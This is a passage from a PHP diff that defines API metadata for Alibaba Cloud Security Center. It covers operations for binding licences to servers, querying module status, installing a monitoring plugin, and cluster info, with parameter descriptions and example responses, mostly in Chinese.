'BindAll' => [ + 'description' => '是否全量绑定。默认**false**，取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'AutoBind', + 'in' => 'query', + 'schema' => [ + 'description' => '开启新增资产自动绑定。取值：'."\n" + ."\n" + .'- **0**：关闭'."\n" + .'- **1**：开启', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'AutoBindVersion', + 'in' => 'query', + 'schema' => [ + 'description' => '新增资产时自动绑定的版本，取值：'."\n" + .'- **1**：免费版 '."\n" + .'- **3**：企业版'."\n" + .'- **5**：高级版'."\n" + .'- **6**：防病毒版 '."\n" + .'- **7**：旗舰版', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '3', + ], + ], + [ + 'name' => 'UpdateIfNecessary', + 'in' => 'query', + 'schema' => [ + 'description' => '是否强制升级版本。', + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + 'default' => 'false', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8BF6F', + ], + 'ResultCode' => [ + 'title' => '绑定结果状态码。取值：'."\n" + ."\n" + .'- **0**：成功'."\n" + .'- **1**：参数错误'."\n" + .'- **2**：缺少服务器授权数'."\n" + .'- **3**：缺少服务器授权核数'."\n" + .'- **4**：未开启后付费'."\n" + .'- **5**：欠费停机'."\n" + .'- **6**：未开启serverless模块'."\n" + .'- **7**：未开启后付费主机资产'."\n" + .'- **-1**：绑定异常', + 'description' => '绑定结果状态码。取值：'."\n" + ."\n" + .'- **0**：成功'."\n" + .'- **1**：参数错误'."\n" + .'- **2**：缺少服务器授权数'."\n" + .'- **3**：缺少服务器授权核数'."\n" + .'- **4**：未开启后付费'."\n" + .'- **5**：欠费停机'."\n" + .'- **6**：未开启Serverless防护'."\n" + .'- **7**：未开启主机及容器安全按量付费服务'."\n" + .'- **-1**：绑定异常', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'BindCount' => [ + 'title' => '成功绑定服务器数。', + 'description' => '成功绑定服务器数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2', + ], + ], + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8BF6F\\",\\n \\"ResultCode\\": 0,\\n \\"BindCount\\": 2\\n}","type":"json"}]', + 'title' => '变更按量付费服务防护版本', + ], + 'BindAuthToMachine' => [ + 'summary' => '服务器绑定授权信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '91910', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'Criteria', + 'in' => 'query', + 'schema' => [ + 'description' => '设置搜索资产的条件。该参数JSON格式，输入参数时注意大小写。'."\n" + .'> 支持使用资产的实例ID、实例名称、所属VPC ID、地域、公网IP地址等条件搜索资产。您可以调用[DescribeCriteria](~~DescribeCriteria~~)接口查询支持的搜索条件。', + 'type' => 'string', + 'required' => false, + 'example' => ' '."\n" + .'[{"name":"riskStatus","value":"YES"},{"name":"internetIp","value":"1.2.XX.XX"}]', + ], + ], + [ + 'name' => 'LogicalExp', + 'in' => 'query', + 'schema' => [ + 'description' => '设置多个搜索条件间生效的逻辑关系。默认**OR**，取值：'."\n" + .'- **OR**：表示多个条件间为**或**的关系。'."\n" + .'- **AND**：表示多个条件间为**与**的关系。', + 'type' => 'string', + 'required' => false, + 'example' => 'OR', + ], + ], + [ + 'name' => 'BindAll', + 'in' => 'query', + 'schema' => [ + 'description' => '是否全量绑定。默认**false**，取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'AuthVersion', + 'in' => 'query', + 'schema' => [ + 'description' => '资产的授权版本。取值：'."\n" + .'- **6**：防病毒版'."\n" + .'- **5**：高级版'."\n" + .'- **3**：企业版'."\n" + .'- **7**：旗舰版'."\n" + .'- **10**：增值服务版'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '6', + ], + ], + [ + 'name' => 'AutoBind', + 'in' => 'query', + 'schema' => [ + 'description' => '开启自动绑定。取值：'."\n" + ."\n" + .'- **0**：关闭'."\n" + .'- **1**：开启', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'IsPreBind', + 'in' => 'query', + 'schema' => [ + 'description' => '是否预绑定操作。取值：'."\n" + ."\n" + .'- **0**：否'."\n" + .'- **1**：是'."\n" + ."\n\n" + .'> 开启预绑定后，会在完成购买后自动为指定服务器绑定对应版本的授权数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PreBindOrderId', + 'in' => 'query', + 'schema' => [ + 'description' => '预绑定关联的订单编号。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '233016**0482', + ], + ], + [ + 'name' => 'NtmVersion', + 'in' => 'query', + 'schema' => [ + 'description' => '预绑定关联的订单版本。取值：'."\n" + ."\n" + .'- **level7**：防病毒版'."\n" + .'- **level3**：高级版'."\n" + .'- **level2**：企业版'."\n" + .'- **level8**：旗舰版'."\n" + .'- **level10**：仅采购增值服务', + 'type' => 'string', + 'required' => false, + 'example' => 'level2', + ], + ], + [ + 'name' => 'Bind', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '绑定的UUID集合。'."\n" + ."\n" + .'> **Bind**和**UnBind**不能同时为空。'."\n", + 'type' => 'array', + 'items' => [ + 'description' => '绑定的UUID。'."\n" + .'> 您可以调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取此参数。', + 'type' => 'string', + 'required' => false, + 'example' => '44f9ee5a-e39d-46bb-833b-5fc2ff47****', + ], + 'required' => false, + 'maxItems' => 1000, + ], + ], + [ + 'name' => 'UnBind', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '解绑的UUID集合。'."\n" + .'> **Bind**和**UnBind**不能同时为空。', + 'type' => 'array', + 'items' => [ + 'description' => '解除绑定的UUID。'."\n" + .'> 您可以调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取此参数。', + 'type' => 'string', + 'required' => false, + 'example' => '3e3c9d79-2880-465d-9e1b-1bc2af7d****', + ], + 'required' => false, + 'maxItems' => 1000, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'ResultCode' => [ + 'description' => '绑定结果状态码。取值：'."\n" + ."\n" + .'- **0**：成功'."\n" + .'- **1**：参数错误'."\n" + .'- **2**：缺少服务器授权数'."\n" + .'- **3**：缺少服务器授权核数', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '23AD0BD2-8771-5647-819E-6BA51E212F80', + ], + 'UnBindCount' => [ + 'description' => '成功解绑服务器数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'BindCount' => [ + 'description' => '成功绑定服务器数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'InsufficientEcsCount' => [ + 'description' => '授权服务器授权数不足的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'InsufficientCoreCount' => [ + 'description' => '授权核数授权数不足的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'MissingPreBindVersion', + 'errorMessage' => 'The pre-bound version is missing.', + ], + [ + 'errorCode' => '-101', + 'errorMessage' => 'Invalid parameter value.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"ResultCode\\": 2,\\n \\"RequestId\\": \\"23AD0BD2-8771-5647-819E-6BA51E212F80\\",\\n \\"UnBindCount\\": 1,\\n \\"BindCount\\": 1,\\n \\"InsufficientEcsCount\\": 1,\\n \\"InsufficientCoreCount\\": 1\\n}","type":"json"}]', + 'title' => '绑定授权到服务器', + ], + 'GetModuleConfigStatus' => [ + 'summary' => '查询已购买的云安全中心产品模块功能是否开启或配置生效。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas312EAH', + ], + ], + 'parameters' => [ + [ + 'name' => 'ModuleNames', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '查询的产品模块列表。', + 'type' => 'array', + 'items' => [ + 'description' => '查询产品模块名称。取值：'."\n" + ."\n" + .'- **Ransom**：开启防勒索策略'."\n" + ."\n" + .'- **WebLock**：开启网页防篡改功能'."\n" + ."\n" + .'- **Rasp**：已创建应用防护配置'."\n" + ."\n" + .'- **Image**：已配置容器镜像扫描范围'."\n" + ."\n" + .'- **Virus**：开启周期病毒扫描策略', + 'type' => 'string', + 'required' => false, + 'example' => 'Rasp', + ], + 'required' => true, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '响应体数据。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '自定义结果数据。', + 'type' => 'object', + 'properties' => [ + 'ModuleConfigResults' => [ + 'description' => '产品检查结果列表。', + 'type' => 'array', + 'items' => [ + 'description' => '单个产品模块检查结果。', + 'type' => 'object', + 'properties' => [ + 'Pass' => [ + 'description' => '产品是否通过状态检查。取值：'."\n" + ."\n" + .'- **true**：通过检查，已开启或已配置'."\n" + ."\n" + .'- **false**：未通过检查，未开启或未配置', + 'type' => 'boolean', + 'enumValueTitles' => [], + 'example' => 'true', + ], + 'ModuleName' => [ + 'description' => '产品模块名称。取值：'."\n" + .'- **Ransom**：开启防勒索策略'."\n" + ."\n" + .'- **WebLock**：开启网页防篡改功能'."\n" + ."\n" + .'- **Rasp**：已创建应用防护配置'."\n" + ."\n" + .'- **Image**：已配置容器镜像扫描范围'."\n" + ."\n" + .'- **Virus**：开启周期病毒扫描策略', + 'type' => 'string', + 'example' => 'Ransom', + ], + ], + ], + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的 ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '843E4805-****-7EE12FA8DBFD', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"ModuleConfigResults\\": [\\n {\\n \\"Pass\\": true,\\n \\"ModuleName\\": \\"Ransom\\"\\n }\\n ]\\n },\\n \\"RequestId\\": \\"843E4805-****-7EE12FA8DBFD\\"\\n}","type":"json"}]', + 'title' => '获取云安全中心产品功能开启状态', + ], + 'FinishGuidTask' => [ + 'summary' => '完成新手引导任务自动领取奖励。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '119460', + 'abilityTreeNodes' => [ + 'FEATUREsasJODUMM', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'TaskTypeName', + 'in' => 'query', + 'schema' => [ + 'description' => '任务类型名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'guide_sub_task_config_add_collection', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '08DCAABC-82E7-5EF5-A9E7-A82DC07C****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"08DCAABC-82E7-5EF5-A9E7-A82DC07C****\\"\\n}","type":"json"}]', + 'title' => '完成新手引导任务自动领取奖励', + ], + 'DescribeVolDingdingMessage' => [ + 'summary' => '查询钉钉服务群二维码地址。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'DingdingUrl' => [ + 'description' => '钉钉群二维码地址。', + 'type' => 'string', + 'example' => 'https://www.wikihow.com/images_en/thumb/4/48/Get-the-URL-for-Pictures-Step-4-Version-4.jpg/v4-728px-Get-the-URL-for-Pictures-Step-4-Version-4.jpg.webp', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7A437E93-47EE-548F-ABCE-13F89AA85585', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"DingdingUrl\\": \\"https://www.wikihow.com/images_en/thumb/4/48/Get-the-URL-for-Pictures-Step-4-Version-4.jpg/v4-728px-Get-the-URL-for-Pictures-Step-4-Version-4.jpg.webp\\",\\n \\"RequestId\\": \\"7A437E93-47EE-548F-ABCE-13F89AA85585\\"\\n}","errorExample":""},{"type":"xml","example":"\\n https://www.wikihow.com/images_en/thumb/4/48/Get-the-URL-for-Pictures-Step-4-Version-4.jpg/v4-728px-Get-the-URL-for-Pictures-Step-4-Version-4.jpg.webp\\n 7A437E93-47EE-548F-ABCE-13F89AA85585\\n","errorExample":""}]', + 'title' => '查询钉钉群二维码地址', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeAllRegionsStatistics' => [ + 'summary' => '获取全局安全事件统计数据，包括未修复的漏洞数量、基线检查数量和告警数量等。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '91988', + 'abilityTreeNodes' => [ + 'FEATUREsasJODUMM', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => '33.80.XXX.XXX', + ], + ], + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '数据的请求来源。默认**aqs**。取值：'."\n" + .'- **sas**：表示数据请求来源为云安全中心'."\n" + .'- **aqs**：表示数据请求来源为安骑士', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + [ + 'name' => 'GroupId', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产分组ID。'."\n" + .'> 您可以调用[DescribeAllGroups](~~130972~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1161****', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '资产名称或公网IP。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '返回结果。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'B9A68671-BD84-55CD-807A-BA3A5490FCB4', + ], + 'Data' => [ + 'description' => '统计结果。', + 'type' => 'object', + 'properties' => [ + 'Account' => [ + 'description' => '资产登录次数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Vul' => [ + 'description' => '未修复的漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '17', + ], + 'Health' => [ + 'description' => '未修复的基线检查总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'Trojan' => [ + 'description' => 'WebShell告警的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NewSuspicious' => [ + 'description' => '安骑士或云安全中心告警数量。'."\n" + ."\n" + .'> - 若**From**为 **sas**：该数据表示云安全中心告警数量'."\n" + .'> - 若**From**为 **aqs**：表示安骑士告警数量', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Suspicious' => [ + 'description' => '安骑士安全告警的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"B9A68671-BD84-55CD-807A-BA3A5490FCB4\\",\\n \\"Data\\": {\\n \\"Account\\": 0,\\n \\"Vul\\": 17,\\n \\"Health\\": 2,\\n \\"Trojan\\": 1,\\n \\"NewSuspicious\\": 0,\\n \\"Suspicious\\": 2\\n }\\n}","type":"json"}]', + 'title' => '获取全局的安全事件统计数据', + ], + 'InstallPmAgent' => [ + 'summary' => '非阿里云ECS服务器安装云监控客户端。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '58.35.xx.xx', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'title' => '机器uuid列表', + 'description' => '服务器UUID列表，多个服务器UUID之间使用半角逗号（,）隔开。', + 'type' => 'string', + 'required' => true, + 'example' => 'inet-a6444920-d303-4ccf-ab87-a1d3cd49****', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'title' => '运维插件类型', + 'description' => '运维插件类型。'."\n" + .'- **aliyun_monitor**：表示云监控插件', + 'type' => 'string', + 'required' => true, + 'example' => 'aliyun_monitor', + 'enum' => [ + 'aliyun_monitor', + ], + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D49B5134-9511-5736-B447-BEE0AC66****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'ConsoleError', + 'errorMessage' => 'The error message is %s %s.', + ], + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D49B5134-9511-5736-B447-BEE0AC66****\\"\\n}","type":"json"}]', + 'title' => '安装运维插件', + ], + 'GetModuleConfig' => [ + 'summary' => '获取模块配置信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'string', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的账户资产的指纹信息的数量。默认值为**10**，表示每页显示10条账户资产的指纹信息。', + 'type' => 'string', + 'required' => false, + 'example' => '10', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'HttpStatusCode' => [ + 'description' => '响应码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '291B49F9-1685-4005-9D34-606B6F78****', + ], + 'Success' => [ + 'description' => '请求是否成功。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'ModuleConfigList' => [ + 'description' => '模块设置信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '模块对象信息', + 'type' => 'object', + 'properties' => [ + 'ModuleName' => [ + 'description' => '模块名称。', + 'type' => 'string', + 'example' => 'alihids', + ], + 'ConfigName' => [ + 'description' => '设置的名称。', + 'type' => 'string', + 'example' => 'timescan', + ], + 'Items' => [ + 'description' => '设置项列表。', + 'type' => 'array', + 'items' => [ + 'description' => '返回对象信息', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'example' => 'a47e3713-ed22-4015-93a3-d88ebe6****', + ], + 'GroupId' => [ + 'description' => '服务器分组的ID。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5562414', + ], + 'InstanceName' => [ + 'description' => '服务器实例的名称。', + 'type' => 'string', + 'example' => 'inStanceName****', + ], + 'Region' => [ + 'description' => '服务器所在的地域。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'Ip' => [ + 'description' => '服务器的IP。', + 'type' => 'string', + 'example' => '2.2.X.X', + ], + 'InstanceId' => [ + 'description' => '服务器实例的ID。', + 'type' => 'string', + 'example' => 'i-uf6435dn4t59b9av****', + ], + ], + ], + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'Count' => [ + 'description' => '分页查询的当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"HttpStatusCode\\": 200,\\n \\"RequestId\\": \\"291B49F9-1685-4005-9D34-606B6F78****\\",\\n \\"Success\\": true,\\n \\"ModuleConfigList\\": [\\n {\\n \\"ModuleName\\": \\"alihids\\",\\n \\"ConfigName\\": \\"timescan\\",\\n \\"Items\\": [\\n {\\n \\"Uuid\\": \\"a47e3713-ed22-4015-93a3-d88ebe6****\\",\\n \\"GroupId\\": 5562414,\\n \\"InstanceName\\": \\"inStanceName****\\",\\n \\"Region\\": \\"cn-hangzhou\\",\\n \\"Ip\\": \\"2.2.X.X\\",\\n \\"InstanceId\\": \\"i-uf6435dn4t59b9av****\\"\\n }\\n ]\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"Count\\": 100\\n }\\n}","type":"json"}]', + 'title' => '获取模块配置信息', + ], + 'DescribeClusterBasicInfo' => [ + 'summary' => '根据集群编号查询集群信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'c870ec78ecbcb41d2a35c679823ef****', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '配置类型。取值：'."\n" + .'- **containerNetwork**：容器网络拓扑开关'."\n" + .'- **interceptionSwitch**：集群微隔离开关', + 'type' => 'string', + 'required' => true, + 'example' => 'containerNetwork', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '目标开关的配置的操作维度。取值：'."\n" + .'- **Cluster**：集群ID', + 'type' => 'string', + 'required' => true, + 'example' => 'Cluster', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', + ], + 'ClusterInfo' => [ + 'description' => '集群详情信息。', + 'type' => 'object', + 'properties' => [ + 'InstanceCount' => [ + 'description' => '当前集群中存在的实例数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'ClusterType' => [ + 'description' => '集群类型。取值：'."\n" + ."\n" + .'- **ManagedKubernetes**：kubernetes托管版'."\n" + .'- **NotManagedKubernetes**：kubernetes非托管版'."\n" + .'- **PrivateKubernetes**：私有集群'."\n" + .'- **kubernetes**：kubernetes专有版'."\n" + .'- **ask**：ask专有版', + 'type' => 'string', + 'example' => 'kubernetes', + ], + 'State' => [ + 'description' => '是否可用。取值：'."\n" + ."\n" + .'- **unavailable**：不可用'."\n" + .'- **Available**：可用'."\n" + .'- **Creating**：创建中'."\n" + .'- **CreateFailed**：创建失败', + 'type' => 'string', + 'example' => 'Available', + ], + 'CreateTime' => [ + 'description' => '创建集群时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1662038134000', + ], + 'ClusterName' => [ + 'description' => '集群名称。'."\n" + ."\n", + 'type' => 'string', + 'example' => 'testackpro', + ], + 'CurrentVersion' => [ + 'description' => '当前集群的版本信息。', + 'type' => 'string', + 'example' => '1.22.10-aliyun.1', + ], + 'TargetResult' => [ + 'description' => '集群开关。'."\n" + ."\n" + .'- **true**：开'."\n" + 